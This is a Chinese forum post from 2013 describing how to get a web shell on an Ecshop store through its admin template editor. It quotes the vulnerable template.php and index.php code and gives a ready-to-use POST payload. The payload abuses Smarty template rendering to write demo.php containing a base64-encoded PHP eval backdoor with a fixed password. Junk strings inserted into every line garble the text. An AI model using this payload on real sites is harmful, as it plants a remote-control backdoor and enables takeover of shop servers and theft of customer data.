找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2529|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 i& P: {( W1 \: S# O" G
1 a) A( r3 C2 B5 K& S而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了* ?" i# l2 D0 ?
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 O* X5 C( l+ G( V5 e$ ?; M
admin/template.php7 A3 y& O6 Q: ^) V& l* s

/ N" Q) o* G+ f6 U5 j1 if ($_REQUEST['act'] == 'update_library') 4 P' e) r* a4 {% t7 v4 o6 W
9 ]  O. d2 a% p
2   % a2 i) m  r* m7 y+ J+ V
! X9 v2 x( P0 ^6 c5 q  s2 M
3 {
" X! Z! M; [! T1 V
# h7 o$ L( S% \& K" b4     check_authz_json('library_manage'); 4 j8 s0 @; T2 w% [0 V/ K* x4 @! Y! d

' K$ o( J9 a( z! H6 j3 M; m5   ; [  q' g/ G$ t- G2 `3 c# n9 P/ }
+ q5 h$ n# F5 e! n
6     $html = stripslashes(json_str_iconv($_POST['html'])); 9 N" S- r4 B2 V. ?1 z/ A

* x/ p7 H, \1 G5 z% o/ P/ H7   # n0 ^' j+ Q2 }$ u2 _' T7 Q

+ k" Y+ ^" _6 |# \) ~$ Y8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ' V7 W4 T) a( F) u: k8 j

0 |2 c1 M' Z: P1 C- u9   
" S: e, A8 J/ p8 Z: r$ I
; f) ?  y$ N+ X  @, X10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : f2 v7 J, i/ f! [: z' u# ?
) M1 q; G( s/ v# R6 v4 d( o
11   
- x0 ~8 q% i5 q( q# |* M% ?4 f
+ C) I, f9 |7 j: R12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* m9 h3 {$ P8 K* r' y; u4 U
0 Y; X) t! w9 \13   
: v) r; G! `3 n+ G  J6 F5 Y/ ~( B5 @( A
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 1 P4 |0 X+ V- _- B

+ ]! w5 v/ O& H! ^( B/ G4 \6 l* G4 J15     { + Y  q- L& o% K
( n, F1 S) V7 y* q
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);   l) V' k. W6 |1 n

; U& b2 y1 V  t$ E17         make_json_result('', $_LANG['update_lib_success']); ! W2 z( d* {+ U# N, F

7 a. j# A$ }+ _6 ~: ^; q" ^18     } ' M6 {0 \+ k- {0 w% v2 j) k0 {

8 F( q5 i& ~* H19     else
/ v4 v( H# l& Z
" k+ \  B# E6 F9 [$ X20     {
, s& x* `& K4 ]5 L7 d$ E2 \( k2 Q! P- M' `$ S* W) B1 M# _4 _
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
6 u, v6 G- j0 Y. t5 Q8 w6 P
$ {! ~: s% |) x0 {4 C22     } 0 `. F: c1 y( t! W. K8 S

, _  l" U% o- O& E23 }
0 w/ f& |6 r* O. o) Y3 O8 C$ c
! \3 z& }# j! N  r" s那么找个比较方便调用了模板的文件+ |- {4 V- s8 p- C7 m8 o
index.php/ W5 j2 g0 K7 h3 g6 D

( \3 C2 B3 r0 T3 x& A( H; ?1 if ($act == 'cat_rec')
5 p2 W* X( ~( I3 F8 y& ^! F2 m" M! O' R: W8 C' w; p% M( }" S; x7 ^
2   
, \$ ?. c% n- ]
7 m0 q& w1 P/ v3 { 1 ~. r* u: T* e" j( t5 L

! x3 }2 e. t; x2 t- D4   % b. B. t0 m0 n; H- _/ M8 l
+ f# |0 ~: v( `/ k8 a# }# @) r
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
3 b( h* {* K8 Z
$ W4 Q1 M3 d; {+ N! Q6   
$ U/ k+ D, O0 i5 s5 Y6 ?( `1 d  Z, K8 t' ~
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; * X  H9 Y- [, W) C, k* g

) w. @7 }7 Y: J1 f4 |8   
( L$ B/ L5 s/ ^, T$ X' s5 A3 L+ s8 y. e. H" W
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
8 X1 x! k8 J: B5 x/ `0 u1 I1 S
: [* g  r7 [0 a$ H10   
8 q1 [$ ~& X, e
3 M  {6 h( `4 k11     include_once('includes/cls_json.php');
! H+ ~- f4 w% @  r9 z
+ q# \9 U9 q9 P12   
& N9 w' i. j6 u( j2 ^
' @0 P4 X6 d. A- H$ A1 [; W3 R13     $json = new JSON; , u% N9 i6 e: H- K* q& w" ?7 |& }

" K; r% k& c* Z& Y14   
0 o' B4 X) U# N6 c7 {, o, B0 L$ A: V/ H  z/ t7 e6 k
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
* z, e" W; y' I8 `$ D# Y- R- ~0 @+ N3 e* U( b3 }5 `
16   # x) ]. D0 W$ [1 l2 f; l

3 O/ c2 F0 h& j17     $children = get_children($cat_id); ! {% n+ L/ p$ R: n
3 X, Z7 i- C( j4 l1 U% ~; j6 W, y
18   
2 k# d1 o) A" B: E- _' G. l
$ B/ F# f; m9 C9 Q: g& L$ {19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 . X. }0 b7 k$ X/ T+ T0 t+ ~

8 V2 ~  G/ ]$ R6 O( B/ D! b20   
, y6 ^5 f# _  D* {% `9 X5 {0 a& r! U0 t2 }" o. ]) F0 L
21     $smarty->assign('cat_rec_sign', 1); 2 @4 |: c7 X: X

  r" e6 R: q$ ?" g* j22   
- B( P7 @2 J# Q5 c  i6 Z  Y; A* Y7 i
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
1 d- ^) X( k; u0 A# t. K' k: B$ P, H
24   ; C6 e- H4 P8 g: p5 u  f
0 |0 E- @* }; M: S
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; * h! m; z$ x2 J+ n% ~

+ x) H! a+ T3 |7 `9 f& {) M26   
* U: i/ H) E& O
) y* t1 I' e4 l5 D4 W1 ^& X27         echo $rec_array[$rec_type]; + V: ?2 |2 H* ~

0 J) B& P( N3 ?; v/ p2 `7 h4 x0 x28   
/ |) |0 ~/ x) x" J
7 C! |5 f' t7 B# f/ C29     die($json->encode($result)); / o9 P/ C# k" s% l

7 R, I0 |1 Y4 O30   % P/ s. m  t+ w& a9 g
2 M4 G  G. \. r( y
31 }
) d, P3 `9 I. J: t* ~; ?) E
) k! L5 E3 }4 R% K! z' k那么就有利用方法了; @3 z; }4 b5 r  Z2 U2 c0 h4 d
post包到http://localhost/ec/admin/template.php?act=update_library
. a3 w  h5 Z* O; F# J. x& S+ fPost内容:  p3 {8 t% p" V% T4 O7 `6 Q

/ \. }5 w0 @& L! n, f/ k
9 H6 o. P  M$ w6 j+ h" b1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
: K+ t6 d9 {, y% {( Z$ s% C# [9 Q$ k* g/ R1 [! X' ^; P) `% l
然后访问http://localhost/ec/index.php?act=cat_rec
! [0 X5 w$ i2 O1 S/ H  i  \1 P4 [  R' l; F, f
shel地址:http://localhost/ec/demo.php
: \0 `& ^7 J; |, Z( d: j7 c密码c
3 f9 \; o* Z  g) P
- f5 e% v+ A6 v5 A( @# i0 Q1 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表